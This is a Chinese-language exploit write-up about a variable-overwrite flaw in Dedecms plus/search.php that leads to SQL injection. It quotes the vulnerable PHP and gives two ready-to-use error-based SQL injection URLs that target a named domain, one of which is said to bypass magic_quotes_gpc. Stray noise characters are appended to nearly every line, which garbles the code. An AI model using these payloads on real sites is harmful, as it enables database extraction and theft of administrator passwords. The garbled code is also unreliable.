微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.: b& T$ w1 T# r8 D7 z# F* }* ~/ f
作者: c4rp3nt3r@0x50sec.org2 D5 A& o9 d/ Q" f- P' t
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.6 j% l; e, K- Z5 E7 N) R% G
7 {9 r( _; |1 t: m黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
. V. E. S! ~8 [9 I
# ?/ ?1 P1 ~$ w; p7 T============
* i1 d2 s9 E$ T2 Z0 d 0 k1 U# m2 m+ K1 I, N' E
0 t1 T+ \! q$ {' G% \" _- c
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
) C* v# Z4 v; l' T% d, P . `3 \2 w9 b& i3 n+ f) T1 p. J
require_once(dirname(__FILE__).”/../include/common.inc.php”);
! ?$ A. H% d7 x8 f& m7 @' T. Lrequire_once(DEDEINC.”/arc.searchview.class.php”);
# v' F9 ?4 _2 O1 i! c & v Q9 C. l: x2 O8 O2 {( y
$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
3 |0 C) N5 c, B$ x' p( B$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;7 M6 N: R* h2 {
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
- \$ B7 M) p; u2 S$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;' @2 V/ P" A# H. x
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;) t1 a0 {2 r+ z% |3 q+ l5 I
1 n% e0 Y4 s7 T9 Yif(!isset($orderby)) $orderby=”;; b! }, A% Y+ O3 |
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);+ x+ T, q- g: ?
8 w' T) e; X% j # y8 O& K1 S, d" \% @. y
if(!isset($searchtype)) $searchtype = ‘titlekeyword’;6 X% V& s# l" R! o" p% q* x$ @
else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);+ B' j _. ^: ] A
) x9 }& U) n g4 h( B8 }if(!isset($keyword)){0 r3 z" E1 G4 L/ ^
if(!isset($q)) $q = ”;- s) s; i6 ]9 f* r
$keyword=$q;
1 C8 d# a, r- X N0 S7 i7 P}0 y: z& r; V* u/ o4 i. D
0 J5 h6 w- S7 }" _" I {& n# p5 E$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));: O2 h; h+ k* A- D1 }
" y' ? G3 n$ J- a( I
//查找栏目信息! T h; y t& w' z/ t9 L
if(empty($typeid))1 U0 w$ n/ X- F, h6 U7 p5 v/ j* I
{9 k$ y3 L, B+ _
$typenameCacheFile = DEDEDATA.’/cache/typename.inc’;
$ T' w" X& S) i+ t4 H if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )1 H" C+ H- _9 O; p4 v% p& P' ^
{
) P# n8 }4 [. k* |' e7 H, n( w $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);+ e' R9 P$ L- g/ t- A$ ?- w
fwrite($fp, “<”.”?php\r\n”);
5 j# C* }2 u2 B $dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);" K" E& x9 y, \( U( W
$dsql->Execute();
3 x' m7 U* _. m' H while($row = $dsql->GetArray())
! }: b0 ^& K; n4 q+ I) y0 o7 C; ? {0 J$ T" |, u& ]7 [+ D
fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
7 n8 r ^0 D# s: A }9 w' b$ C: z9 h6 I
fwrite($fp, ‘?’.'>’);
/ [- R* L: k9 V fclose($fp);6 ]; n: X. B6 I
}
; f5 p* C# {7 ~ @( r; N //引入栏目缓存并看关键字是否有相关栏目内容9 i" `7 _+ M0 e. L' f* r
require_once($typenameCacheFile);
0 x$ s% {4 w" O* I( W5 A: ~//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
' O, S0 R6 m& l7 i2 A. N' S//
& n1 D6 _; ^ x( J6 _% [ if(isset($typeArr) && is_array($typeArr))* Y( b* {& _, \# ]
{$ @2 e' W" C2 D% f$ Z2 r$ o
foreach($typeArr as $id=>$typename)
3 Y) d( Y- l: U2 }! e* u; ^4 z {
% x p& u2 R/ m/ x5 a& g $ ~6 E7 g: k" k
<font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过9 ~! e$ \; M% X# I% T4 W. e
if($keyword != $keywordn)/ l, b4 j n) X) ~- L' m- I
{
/ p# ]4 Z# Q1 ~9 t( O2 ?1 n( v+ G $keyword = $keywordn;5 t K. J' O/ o& m7 e
<font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设( x. b1 s* V, w& x* k0 c
break;
- d0 L& e/ ]( ]6 A9 Y }
2 F- b0 p- T: ^ }
" g9 ^! t& t3 `6 N+ `4 E& H6 Z6 G# f }' F) p8 g3 ]: c; f5 L C+ a
}. n) b# Y* w+ D$ ?
然后plus/search.php文件下面定义了一个 Search类的对象 .0 T7 h! k3 @1 G7 m- w1 a& w3 u8 Y
在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
5 A v/ v3 N) j2 b0 Z$this->TypeLink = new TypeLink($typeid);
, R: z0 X* S- b$ d0 f4 u( g5 o# Y % S r; H' u% B- |4 E
TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
: ?6 \& n2 w( i/ v2 j+ e ' Q" ^7 E$ b& W' D- @" `% L4 D0 u3 v
class TypeLink
+ Z2 g9 q, c4 t' F1 J{( Z, h' X- c/ N
var $typeDir;
* D3 I1 e6 W3 C& f* F. v var $dsql;5 Y0 A: e; H& V& g6 B
var $TypeID;
4 o+ V# X n: k; F0 f+ B var $baseDir;9 H1 P" |3 T w( x5 h) l4 Z
var $modDir; e* ?7 h- s U- b7 r% t& v
var $indexUrl;
! L1 I) C( P% ~+ | var $indexName;
/ }# `; i4 Z: M; K var $TypeInfos;& w1 b, S4 J: {! {, \; G
var $SplitSymbol;
; c# W2 j+ ^: {& ^( W var $valuePosition;: z: I8 L5 m: R
var $valuePositionName; u d! }+ j: _
var $OptionArrayList;//构造函数///////) t: t) d1 G; i3 R2 ^# j3 r3 B
//php5构造函数) S& J$ C9 u( \: f- j$ l& A4 j
function __construct($typeid)+ B% j5 G* ?1 R5 y8 L" Q
{
) j) c& q4 L0 a3 z0 R, r* v4 M! A $this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];. H# k" f9 `$ L% p& k1 l- [8 t% P
$this->indexName = $GLOBALS['cfg_indexname'];- m! H s9 E& Y+ w- w5 P, @3 a
$this->baseDir = $GLOBALS['cfg_basedir'];
% \8 v/ i3 a. z- Z $this->modDir = $GLOBALS['cfg_templets_dir'];6 W" o: F; t$ [9 A/ ]9 k
$this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
( w5 g* ^3 [8 [$ R2 J $this->dsql = $GLOBALS['dsql'];
* X' S O. o: o9 h" U: y8 B $this->TypeID = $typeid;
; U5 N# Q2 b. ?" T9 N $this->valuePosition = ”;
# k3 F) e2 N) q) M1 C# M( {1 t9 | $this->valuePositionName = ”;- F: p- z/ K6 W% S8 [+ x
$this->typeDir = ”;
% Q6 F" g8 j3 r0 i$ [" \ $this->OptionArrayList = ”;
; v/ _0 x/ |: N* [1 J* R" U M. Y. o 3 ~4 R: N9 V! Z1 p# `
//载入类目信息+ |) E6 ~- b% D( Y
) ~* S# h% A; [ Y2 ]9 ?, H
<font color=”Red”>$query = “SELECT tp.*,ch.typename as
$ i( `* v J' @6 Jctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join% S7 P7 g; x1 u
`#@__channeltype` ch w4 o/ K; ]8 a( |9 W) ^
on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿/ j- l+ P% A: r5 [9 \
v' _" Z( c1 y1 b. O
if($typeid > 0)
) C6 F1 ]% d) i9 ^, @$ k {
2 ?4 [8 _) F1 c% t) X+ z $this->TypeInfos = $this->dsql->GetOne($query);+ z! e2 O- `7 ^5 Y" ~
利用代码一 需要 即使magic_quotes_gpc = Off: g6 L, R% K( A! X
. ]. L! ^- T/ H6 U c" Iwww.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title
' t3 a% l/ w5 T& V) v" K) G5 H1 N 5 S- E( B: v5 V& |) I
这只是其中一个利用代码… Search 类的构造函数再往下) n \* D; `$ W. S, T
! y# U% s" F& Z2 R/ [ J# ], @+ t……省略4 P3 y$ q+ v6 R, z( d) d( J
$this->TypeID = $typeid;
5 u, ], G$ Z5 H8 V1 T# \……省略, ?, W, b1 Y1 x9 M
if($this->TypeID==”0″){1 l) i, w! Y. M) X# X e1 q
$this->ChannelTypeid=1;+ C& {$ [% Z4 J# r1 \ D e
}else{
- y1 u3 p4 c9 ?) `8 S* H6 N $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲' C3 H" y4 [% Z9 A1 ?; W
//现在不鸡肋了吧亲…( t f( s9 h* s( r: ~
$this->ChannelTypeid=$row['channeltype'];
0 N- z) a. Z0 n$ L$ @5 _$ b: Q, v & I6 ]$ x) o/ L6 ^9 k5 q
}
2 G) H1 L4 M$ T. W0 Z利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
/ c( K; y+ \+ F2 W 6 _5 _8 l: `" ?/ Y
www.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
0 z+ z U5 O( @+ H
3 | B, p% [! l如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站% S1 I1 K) b3 K9 D& r0 s8 ^7 f# k
|